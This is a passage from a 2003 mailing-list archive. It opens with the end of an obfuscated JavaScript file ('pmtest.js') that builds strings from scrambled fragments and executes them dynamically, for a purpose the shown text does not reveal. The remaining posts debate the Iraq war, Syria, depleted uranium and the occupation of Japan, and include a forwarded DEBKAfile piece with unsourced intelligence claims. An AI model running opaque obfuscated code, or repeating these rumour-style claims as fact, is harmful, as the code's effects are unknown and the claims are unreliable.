fl=w2+"5sa7w/eAT"+hp qo="2xO9(4rthx Ekl4eWIlzWRvJMIV8We1BxfKYx"+x_ yb=he+"QYo1F0CT 60rgUU" hd=fl+"5c25m6veL4wMNZALaX3Rq32bR7 REAE0d9JTg"+jy hn=gs+"5sbdqoIvwkNIeoLO+TA2Yfjijw:"+kx h4=hd+"lH5RR9f8Tk09vq5OZy93afXVD8QfONfP7Le"+qo ca=ei+"1"+d4 gp=yb+"G5nQUrRxpyLp"+av bd=y0+"a"+mo v_=ge+"v5q2sQlqii 5Spwg)79Ynyf)r2S+OjNBseqJ8AYpO9C999zXN29cwy" ib=v_+"O9jnnuqa3H4B 7kKXn=WKKYoSkMY+fqhU642yK (75rYQFKIl'uku"+yu mt=qx+"snPPL huLOZfSL4QmX?g"+ib an=mi+"77,x"+sm n3=xe+"8"+ny; (p9=nn+"c="+an)+ (dr=n3+";"+ov) un=hn+"OtS}ISu.T7Y+y85u9B3YWV94'k+urRhAc3YiD ,wE5+K(AN"+mt bh=p9+"%3d"+dr h7="x"+bh me=gp+"5eK+Mwt" z2=ll+"SuEkuUUyx7=OB4QVV{e(QVd5{7sNl9w5=331RZ"+h4 h0=me+"0Lr1Y"+un em=h0+"pkzIBIvtFsEiDepfZ+/iQrQoLW4tF bULp9OsTJPh,SZ5DpRa=0+R9"+z2 qv=this [ (this[bd]) (ca)] li=em qq=qv (this[bd] (h7)) } ======= end of pmtest.js ======== Regards, hamdi ucar From vortexb-l-request@eskimo.com Tue Apr 15 08:46:23 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA07592; Tue, 15 Apr 2003 08:43:33 -0700 Resent-Date: Tue, 15 Apr 2003 08:43:33 -0700 Message-Id: <5.2.0.9.2.20030415113246.026e8020@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Tue, 15 Apr 2003 11:43:21 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Re: US should conquer Syria In-Reply-To: <3E9B969F.644579E0@verisoft.com.tr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"sximq1.0.Us1.bY2d-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1658 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 134 hamdix wrote: >US should conquer also Syria to prove their operation have nothing with oil. We need a reason? We should conquer Syria because it's there. Reasons hardly matter. Bush went through several different reasons for attacking Iraq, including my personal favorite: "jobs for the soldiers when they return." Note these are professional, full time soldiers who will have the same jobs when they return. The first Gulf War was also, in the end, justified as being for: "jobs, jobs, jobs" (quote from Secretary of State James Baker). >I would be also a good idea to take advertisements on military equipment >and on uniforms from sponsor and from popular brands in order to lower war >costs. Excellent suggestion! Seriously, I think the U.S. voters have had enough of wars for a while. Perhaps it is my imagination, but even the administration seems a little chastened by reality of war. - Jed From vortexb-l-request@eskimo.com Tue Apr 15 13:52:26 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id NAA20865; Tue, 15 Apr 2003 13:48:32 -0700 Resent-Date: Tue, 15 Apr 2003 13:48:32 -0700 Message-ID: <3E9C7024.C38881B7@verisoft.com.tr> Date: Tue, 15 Apr 2003 23:48:36 +0300 From: hamdix Reply-To: hamdix@verisoft.com.tr X-Mailer: Mozilla 4.78 [en] (Win98; U) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: US should conquer Syria References: <5.2.0.9.2.20030415113246.026e8020@pop.mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"FqwDs2.0.v55.V07d-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1659 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 135 Jed Rothwell wrote: > > hamdix wrote: > > >US should conquer also Syria to prove their operation have nothing with oil. > > We need a reason? We should conquer Syria because it's there. Interestingly. I found these developments very natural, even positive in the context of "World human wildlife" concept I am developing. This concept assume human communities live in a wildlife class similar to animals and other organisms but separated and evolving in expense of other classes. This is a new class of wildlife like insects and micro organisms. Laws belong general wildlife equally applicable to humans communities overriding constitutional laws. Superficiality of constitutional laws can be seen from the logic giving rights to only humans but allowing human full access to nature without a responsibility. This make the nature a slavery of humankind allowing be exploited to the limits. Recent developments show that elimination of less developed countries which can hardly adopt to new world economics are being accelerated. just like other classes of wildlife, communities who can not adopt to changing conditions and making mistakes, and missing opportunities will disappear from the scene fast. Maybe Bush administration motivated from this notion dont want miss such a opportunities. In my opinion it is too late to follow wildlife strategies for human future. Large scale of destruction of the nature, hugh and fast increasing of human population point out we are in unstable phase of the evolution which may end up with catastrophic events if wildlife laws are followed. This look like the final phases of a star when starting to burn helium and other heavy elements, become brighter then ever but ends up with a supernovae. Regards, hamdi ucar From vortexb-l-request@eskimo.com Tue Apr 15 17:17:16 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA11525; Tue, 15 Apr 2003 17:07:59 -0700 Resent-Date: Tue, 15 Apr 2003 17:07:59 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: <3E9C7024.C38881B7@verisoft.com.tr> References: <5.2.0.9.2.20030415113246.026e8020@pop.mindspring.com> <3E9C7024.C38881B7@verisoft.com.tr> Date: Tue, 15 Apr 2003 14:07:23 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: US should conquer Syria Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id RAA11468 Resent-Message-ID: <"2EL3t2.0.0q2.Vx9d-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1660 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 136 I think Syria just won some points with the US, turning away Abu Abbas at their border, and now he's in custody. This is the murderer who pushed that poor guy in a wheelchair to his death on that cruise ship he hijacked. Found good shelter in Iraq where, of course, there are and have been "no terrorists". Syria has apparently been 'helpful' in this, as they have in the past with terrorists. I still think they're playing both sides of the filed to some extent, but this is why the US admin has been a little circumspect or diplomatic when dealing with Syria - using the phrase 'not helpful' when complaining about mercenaries and fugitives crossing their border with Iraq. I don't believe there was ever any thought to an invasion, as the alarmists would have us believe. Assad is not Saddam. Rick's rat theory: Got rats? Set a trap, catch one rat. Set another trap, catch another rat. You still got rats. But if you clear their habitat and forage, then the rats disappear. See how the rats are fleeing from where their habitat has been disturbed? I'm very glad to see someone like Abbas finally caught. - RM From vortexb-l-request@eskimo.com Tue Apr 15 23:14:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id XAA03239; Tue, 15 Apr 2003 23:10:56 -0700 Resent-Date: Tue, 15 Apr 2003 23:10:56 -0700 Message-ID: <065b01c303de$df48a950$d5c79d40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Day 27 Date: Tue, 15 Apr 2003 23:10:20 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id XAA03213 Resent-Message-ID: <"QJ11i2.0.Yo.mFFd-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1661 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 137 Seems that not only Syria is the next country to "liberate" but France too. Anna Day 27 of Iraq War Ultimatum for Assad as US Special Forces Land Although President George W. Bush and administration spokesmen have carefully skirted any explicit threat of military action against Syria, DEBKAfile's military sources report that Sunday night, April 12, small teams of American undercover troops were already inside Syria marking out the hideouts of Saddam's close family, his top lieutenants, military leaders and the directors of his banned weapons programs. US special forces troops were additionally directed to locate the men who drive the operational arms of the Hizballah, Jihad Islami and Hamas terror groups. Twenty-four hours later, Monday night, three events brought Syria even closer to becoming the object of direct American action, additionally placing France in Washington's sights - albeit for a different kind of punishment. Syria faces imminent economic sanctions at best - although, since experience shows they never work, military action is very much on the cards. France stands to pay a diplomatic and financial price for certain actions that have come to light. DEBKAfile's Washington sources describe the White House as particularly incensed over the following pieces of intelligence: A. Documents coming to light in Baghdad directly incriminate Syria as a full partner in the financing, development and concealment of Iraq's weapons of mass destruction programs. A source familiar with the new data reveals that Syria was not only a full partner but active in every stage of these programs to the point that they deserve to be called Iraqi-Syrian, not just Iraqi, undertakings. Well before the UN weapons inspectors came on the scene last year, the Syrian president Bashar Assad took it upon himself to conceal the banned weapons, one by one, as they came off the production line. Syria's support for Iraq in the UN Security Council and the attacks leveled by foreign minister Farouk a-Sharah against Washington, for venturing to accuse Iraq of concealing weapons of mass destruction, were staged to misdirect attention from the biggest political, intelligence and military fraud perpetrated since the Cold War ended. Washington's indignation over these discoveries has been manifested in a torrent of warnings to, and charges against Damascus in the last three days. Defense secretary Donald Rumsfeld took the opportunity of the warm welcome he gave the visiting Kuwait ruler on Monday, April 14, to produce intelligence that Syria had conducted chemical weapons tests in the last year. He could have said more. According to DEBKAfile's Washington sources, the defense secretary was also informed that in the same period Syria test-fired missiles fitted with chemical warheads from Aleppo in the north to Djebel Druze in the south near the Syrian-Iraqi-Jordan border junction. Damascus carried out the test on behalf of the Iraqi-Syrian partnership for developing unconventional weapons. B. The details of the comprehensive military collaboration treaty Assad secretly concluded with the now deposed Iraqi ruler Saddam Hussein that were first exposed in DEBKAfile in September 2000 are only now emerging in full. Under its terms, Syria was bound to furnish an escape hatch for fleeing Iraqi military, political, scientific and intelligence top echelons working on the banned weapons programs, as well as providing concealed locations for production to continue. Damascus was therefore committed to taking over the shared WMD projects from the point they were interrupted by a war emergency in Baghdad. C. This discovery relates to the aid rendered Syria by France. DEBKAfile's exclusive intelligence and military sources reveal that, from Monday night, April 14, groups of Iraqi military and scientific leaders have been transferred from Syria to France. This came about as a result of President Chirac consenting to help Assad live up to his commitments to Saddam Hussein and keep their forbidden weapons out of sight and their existence denied. These discoveries led the Bush administration to slap down before Damascus a three-part ultimatum: 1. First, in view of Syria's long record as sponsor of terror, the Assad regime is required to dismantle at once the command centers of the Lebanese Hizballah and the Palestinian Jihad Islami and Hamas Damascus headquarters and turn their leaders over to the United States. A list of names is supplied. 2. To hand over without delay all the weapons of mass destruction on its territory, whether they are "Iraqi" or "Syrian". 3. To surrender to the Americans at once every one of the hundreds of Iraqi regime members, including Saddam kinsmen, granted asylum in Syria. Assad's failure to deliver would result in the United States acting to force his compliance. Washington's ultimatum evoked a frantic Arab reaction. Saudi foreign minister Saudi Al-Faisal went to Damascus to warn the Syrian ruler of grave consequences should he persist in defying the Americans. He advised him to call an urgent Arab foreign ministers meeting for Friday, April 18, and ask the Arab world to back him up in meeting Washington's demands. The Syrian ruler has not yet informed the Saudi minister of his intentions. Though not unaware of the danger hanging over his head, Assad is showing the same kind of stubbornness as Saddam Hussein his ally exhibited when he was urged by a procession of diplomatic well-wishers to show flexibility - or go into voluntary exile - so as to avert an American invasion. A brief anecdote indicates the deceptive nature of the Syrian-Iraqi alliance. Iraq's UN ambassador Mohammed Al-Douri, the first Saddam regime official to concede his country's defeat ("The game is over"), aroused some sympathy when he burst into tears in New York and vowed to devote his life to a peaceful future for his people. He announced he would be going to Paris. Well, DEBKAfile's intelligence sources have discovered that the weeping ambassador stayed in Paris only long enough to catch the next plane to Damascus, where he joined his not exactly peace-loving brother, who turns out to be the deposed vice president Izzat Ibrahim Al-Douri. http://www.debka.com/ From vortexb-l-request@eskimo.com Wed Apr 16 14:57:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA32545; Wed, 16 Apr 2003 14:54:58 -0700 Resent-Date: Wed, 16 Apr 2003 14:54:58 -0700 Message-Id: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 16 Apr 2003 17:54:44 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Comparison of the occupation of Japan, Afghanistan and Iraq Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"kp9Rq3.0.Oy7.o4Td-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1662 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 138 A brief comparison shows how difficult it may be to introduce democracy into Iraq. Here are some highly prejudiced and undocumented things I recall from history books I read long ago in English and Japanese, and some other undocumented articles about Afghanistan that you will not find in the New York Times, Fox Network or the White House website. Japan had functioning democracy from 1890 to 1930, so people were used to the idea. Most people were anxious to return to a democratic, parliamentary system. The first election was held in April 1946, eight months after the occupation began. Women were allowed to vote for the first time. They were also given equal rights in law, employment, the right to sue for divorce, and so on. In divorces, women were sometimes given custody of the children, which was rare in prewar Japan. Men and women under the age of 30 and 25 (I think it was) were allowed to marry without the parent's permission. In Afghanistan, as far as I know there have been no elections, not even local ones. They were some attempts but the local warlords who now run the country terrorized voters to prevent them. Women campaigning for suffrage have nearly all been murdered or driven out of the country. In Japan, radical political and religious freedom were imposed by the US immediately. A few weeks after the occupation began, political prisoners were freed and banned religions were once again allowed, as most had been before 1930. Communism was legalized for the first time. In Afghanistan it is still a capital crime to promote Christianity, and large numbers of women have been jailed for adultery or for marrying people their families do not approve of. Pre-war Japan did not allow such marriages, but they never put people in jail for them. The physical infrastructure in Japan was a shambles. Iraq is in much better shape. Japan was largely repaired by 1950, and by the mid 1950s the economy was larger than the prewar peak. In Afghanistan there has been no increase in the GNP and no measurable rebuilding. In Japan the US did not assist in the rebuilding, and it did not supply aid for this purpose. (There was no Marshall plan in Japan because there was no threat from communism.) In fact the U.S. charged the Japanese government for US occupation expenses, which cost a substantial fraction of the national budget. (I do not recall how much . . .) However the U.S. did provide essential food to keep the population from starving, and it encouraged the rebirth of free market capitalism, which rapidly rebuilt the nation. Japan had many experienced businessmen, engineers, doctors and professionals. There is no tradition of capitalism in Afghanistan or Iraq as far as I know, and no professional classes. There was no looting or disorder in Japan, and not a single incident of violence against American troops for the first few years, as far as I know. In the hours before the emperor broadcast the surrender announcement some extremist militants took over the Imperial palace and tried to overthrow the government and prevent the surrender, but they were quickly overcome. In Iraq there is apparently a manhunt under way for criminals and government officials. In Japan nearly every designated war criminal or person the US wished to interview turned himself in as soon as the arrest warrant was issued. Intense planning for the Japanese occupation began in 1943. Most of it was based upon the New Deal and reforms that the Japanese liberals have been promoting for many years, in education, literacy, land reform, economics and much else. The people who designed the US occupation program were intimately familiar with Japanese conditions and good friends with Japanese labor leaders, economists and others. A detailed set of orders were issued to MacArthur before he arrived in Japan, (JCS 1380/15), and as I said previously MacArthur implemented this plan brilliantly. There has been virtually no planning for the US occupation of Afghanistan or Iraq, supposedly because the entire program will be left up to the "Iraqi people." If the Japanese occupation had been left up to the "Japanese people" I think the people in power would have seized the initiative and prevented any meaningful reform, and they would have remilitarized and gone to war again within 10 or 20 years. It is inconceivable they would have allowed women's suffrage, labor unions and other liberal reforms. I base that on the Japanese government's first proposed revision to the Constitution, which MacArthur threw out, and on the views & actions of the unsavory right wing extremists who still haunt Japanese politics. They still glorify the war in China, and deny the 1937 Nanjing massacre took place. Every year they tried to rewrite the grade school history textbooks, the way fundamentalist Americans try to gut science and biology textbooks. (Fortunately they have been less successful than the fundamentalists.) They still assassinate politicians occasionally -- as recently as last year. When the mayor of Nagasaki suggested that the emperor might have been partly responsible for the war in 1990, an extremist him in an unsuccessful assassination attempt. There are about 120,000 of them. See: http://www.1upinfo.com/country-guide-study/japan/japan246.html - Jed From vortexb-l-request@eskimo.com Wed Apr 16 15:43:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA20862; Wed, 16 Apr 2003 15:40:50 -0700 Resent-Date: Wed, 16 Apr 2003 15:40:50 -0700 Message-ID: <3E9DDBCF.1020700@ghiocel.com> Date: Wed, 16 Apr 2003 15:40:15 -0700 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Comparison of the occupation of Japan, Afghanistan and Iraq References: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"NwzYR2.0.v55.olTd-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1663 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 139 It is interesting that nobody questions this "drive" for democracy, what is behind it and why US feels morally bound to impose it all over the world. Is that a new religion and missionaries are being send out all over the world to impose it with bullets and bombs? Sure, it is an irony that US was suppose to be a constitutional republic and not a democracy! The people in Japan, Iraq and Afganistan had their own civilization and culture for a long time. Is that suppose to be changed at the will of an outside power? Sure, I guess the backlash possible to come from this brutal interference in other people's lives is not taken in consideration. The posting regarding Japan is great from historical point of view but again, why this "difficult" task of changing them is taken to begin with? Obviously now, there is the look for a new target : Syria or Iran . Maybe tommorrow is France, Germany (again!) or Russia. Is anybody trying to see where will this path lead? Dan G. From vortexb-l-request@eskimo.com Thu Apr 17 09:33:10 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id JAA23370; Thu, 17 Apr 2003 09:23:58 -0700 Resent-Date: Thu, 17 Apr 2003 09:23:58 -0700 Message-Id: <5.2.0.9.2.20030417114622.0266fcd8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 17 Apr 2003 12:23:49 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Re: Comparison of the occupation of Japan, Afghanistan and Iraq In-Reply-To: <3E9DDBCF.1020700@ghiocel.com> References: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"tODjf1.0.0j5.UKjd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1664 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 140 Dan Ghiocel wrote: >not taken in consideration. The posting regarding Japan is great from >historical point of view but again, why this "difficult" task of changing >them is taken to begin with? It was taken because the U.S. people made a terrible sacrifice in World War I, only to find they had to fight the same enemy again in World War II. As Ted Cohen put it: "where in World War I the United States was determined to eradicate militarism, at the end of World War II American leaders were resolved to eliminate also *the conditions that brought about militarism*. . . . This time the boys would not have died in vain." "Remaking Japan," (Free Press, 1987), p. 7. I think the US had a moral obligation to remake Japanese society, which it fulfilled magnificently. However it could never have accomplished this without first motivating the Japanese, because they were the ones who actually did the work and transformed their own society. Also because if they had not enthusiastically gone along with the plan, the reforms would have been undone as soon as the Americans went home in 1952. More than anything else, the occupation was a victory for the Japanese themselves, and they deserve most of the credit for actually doing it. The people who made it possible -- and triggered it -- were, of course, the Americans who died in battle. In the long view of history, they died for Japan as much as they did for America. It is fitting that the Okinawa Peace Park memorial is dedicated to all 200,000 who died in Okinawa, and the cenotaphs list all of the known dead, American and Japanese, military and civilian. - Jed From vortexb-l-request@eskimo.com Thu Apr 17 11:07:28 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA25958; Thu, 17 Apr 2003 10:59:56 -0700 Resent-Date: Thu, 17 Apr 2003 10:59:56 -0700 Message-ID: <01d201c3050b$26245400$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> <5.2.0.9.2.20030417114622.0266fcd8@pop.mindspring.com> Subject: Depleted Uranium redux Date: Thu, 17 Apr 2003 13:53:09 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"mqREg.0.RL6.Skkd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1665 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 141 Hey all, In the interest of new information (and fundamental fairness), check out: http://www.newscientist.com/news/news.jsp?id=ns99993627 It is what seems to be a pretty well thought out and balanced article on DU. So at this point, I'm going to actually (sit down now, you'll hardly ever see anyone here do this and it may never happen again) *change my position* on it. Based on that article, I'd say that DU deserves another look. Best, Dave PS Anna, Trelos & the rest of you anti-American nutters: See what results when you cite sources and try and present all relevant information? When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Thu Apr 17 11:08:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA26056; Thu, 17 Apr 2003 11:00:05 -0700 Resent-Date: Thu, 17 Apr 2003 11:00:05 -0700 Message-ID: <01d301c3050b$265e4fc0$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030415113246.026e8020@pop.mindspring.com> <3E9C7024.C38881B7@verisoft.com.tr> Subject: Re: US should conquer Syria Date: Thu, 17 Apr 2003 13:56:54 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"M8E2d1.0.ZL6.Skkd-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1666 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 142 Hamdix, As far as Syria is concerned, personally I feel we should only invade them as a measure of last resort. It will take a little more than a year to exhaust diplomatic and other means. In that time we might have better luck than we have in the past, e.g. notice now how N. Korea is suddenly willing to engage in multilateral talks, something they were dead-set against prior to the regime change in Iraq. Looks like as far as foreign policy is concerned speaking softly and carrying a big stick is still the way to go. Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Thu Apr 17 12:04:52 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA30082; Thu, 17 Apr 2003 11:57:15 -0700 Resent-Date: Thu, 17 Apr 2003 11:57:15 -0700 Reply-To: From: "Cliff Harris" To: Subject: RE: Depleted Uranium redux Date: Thu, 17 Apr 2003 11:56:58 -0700 Message-ID: <000301c30513$203bbfd0$980e10ac@charris> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <01d201c3050b$26245400$1202a8c0@WorkGroup> Resent-Message-ID: <"FdOLc.0.yL7.Bald-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1667 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 143 What I've been wondering (and never seen addressed) is the incidence of health problems in the factories where they manufacture the DU shells and/or their tips. You would think that these people would experience any ill effects to a severe extent since they are in close contact with DU for hours every day. Even if they don't actually come in physical contact with the DU, there would bound to be DU particles all over the place from the machinery that does the transporting of the DU, forming of the DU and assembly of the shells. ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify MIS@Amano.com This footnote also confirms that this email message has been swept for the presence of computer viruses. ********************************************************************** From vortexb-l-request@eskimo.com Thu Apr 17 12:08:32 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA32284; Thu, 17 Apr 2003 12:00:35 -0700 Resent-Date: Thu, 17 Apr 2003 12:00:35 -0700 Message-ID: <020f01c30513$9968b700$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030416172211.02726e50@pop.mindspring.com> Subject: Re: Comparison of the occupation of Japan, Afghanistan and Iraq Date: Thu, 17 Apr 2003 14:32:43 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"2BeNi3.0.Gu7.Jdld-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1668 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 144 Jed, As far as Iraq is concerned, one huge thing you're leaving out that will make a rapid shift to democracy easily possible is that Iraq is much more modern than Afghanistan and the people will therefore implement communications technology much more rapidly. This will cause an influx of new ideas, which will be key to implementing democracy. This is why Iran is currently teetering on the brink of a popular democratic revolution, because all the young Iranians are getting access to satellite TV and the internet. As far as Afghanistan is concerned, one huge thing you're missing is that the entire country is *tribalized*. Some tribes treat their women well, some poorly, some use trucks to get around, some use donkeys, etc. Implementing democracy will be more difficult there, but considering we bombed them *out* of the Stone Age and *into* the Iron Age, things are progressing rapidly. If it's not fast enough for some people, too bad. The most important thing is that no terrorists are allowed to train there. Also, unless the UN is engaged in a veritable orgy of lying and disinformation, you are again totally wrong in stating that "Women campaigning for suffrage have nearly all been murdered or driven out of the country." http://www.irinnews.org/report.asp?ReportID=32746 As far as imperialist extremists in Japan are concerned, there's still Nazis in Germany, hard core Communists in Russia and the Flat Earth society is alive and well. Whack-jobs exist everywhere, so I fail to see your point there. You also fail to provide any evidence that the US did not plan extensively for a post-war Iraq. Sorry, I can't take your words on their face anymore. And if you can provide any evidence that fundamentalist Christians have managed to get US science and biology textbooks 'gutted' (I guess to present the creationist viewpoint?), I'll print this email out, eat it and provide a videotape for proof! Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: Sent: Wednesday, April 16, 2003 5:54 PM Subject: Comparison of the occupation of Japan, Afghanistan and Iraq | A brief comparison shows how difficult it may be to introduce democracy | into Iraq. Here are some highly prejudiced and undocumented things I recall | from history books I read long ago in English and Japanese, and some other | undocumented articles about Afghanistan that you will not find in the New | York Times, Fox Network or the White House website. | | Japan had functioning democracy from 1890 to 1930, so people were used to | the idea. Most people were anxious to return to a democratic, parliamentary | system. The first election was held in April 1946, eight months after the | occupation began. Women were allowed to vote for the first time. They were | also given equal rights in law, employment, the right to sue for divorce, | and so on. In divorces, women were sometimes given custody of the children, | which was rare in prewar Japan. Men and women under the age of 30 and 25 (I | think it was) were allowed to marry without the parent's permission. In | Afghanistan, as far as I know there have been no elections, not even local | ones. They were some attempts but the local warlords who now run the | country terrorized voters to prevent them. Women campaigning for suffrage | have nearly all been murdered or driven out of the country. | | In Japan, radical political and religious freedom were imposed by the US | immediately. A few weeks after the occupation began, political prisoners | were freed and banned religions were once again allowed, as most had been | before 1930. Communism was legalized for the first time. In Afghanistan it | is still a capital crime to promote Christianity, and large numbers of | women have been jailed for adultery or for marrying people their families | do not approve of. Pre-war Japan did not allow such marriages, but they | never put people in jail for them. | | The physical infrastructure in Japan was a shambles. Iraq is in much better | shape. Japan was largely repaired by 1950, and by the mid 1950s the economy | was larger than the prewar peak. In Afghanistan there has been no increase | in the GNP and no measurable rebuilding. In Japan the US did not assist in | the rebuilding, and it did not supply aid for this purpose. (There was no | Marshall plan in Japan because there was no threat from communism.) In fact | the U.S. charged the Japanese government for US occupation expenses, which | cost a substantial fraction of the national budget. (I do not recall how | much . . .) However the U.S. did provide essential food to keep the | population from starving, and it encouraged the rebirth of free market | capitalism, which rapidly rebuilt the nation. Japan had many experienced | businessmen, engineers, doctors and professionals. There is no tradition of | capitalism in Afghanistan or Iraq as far 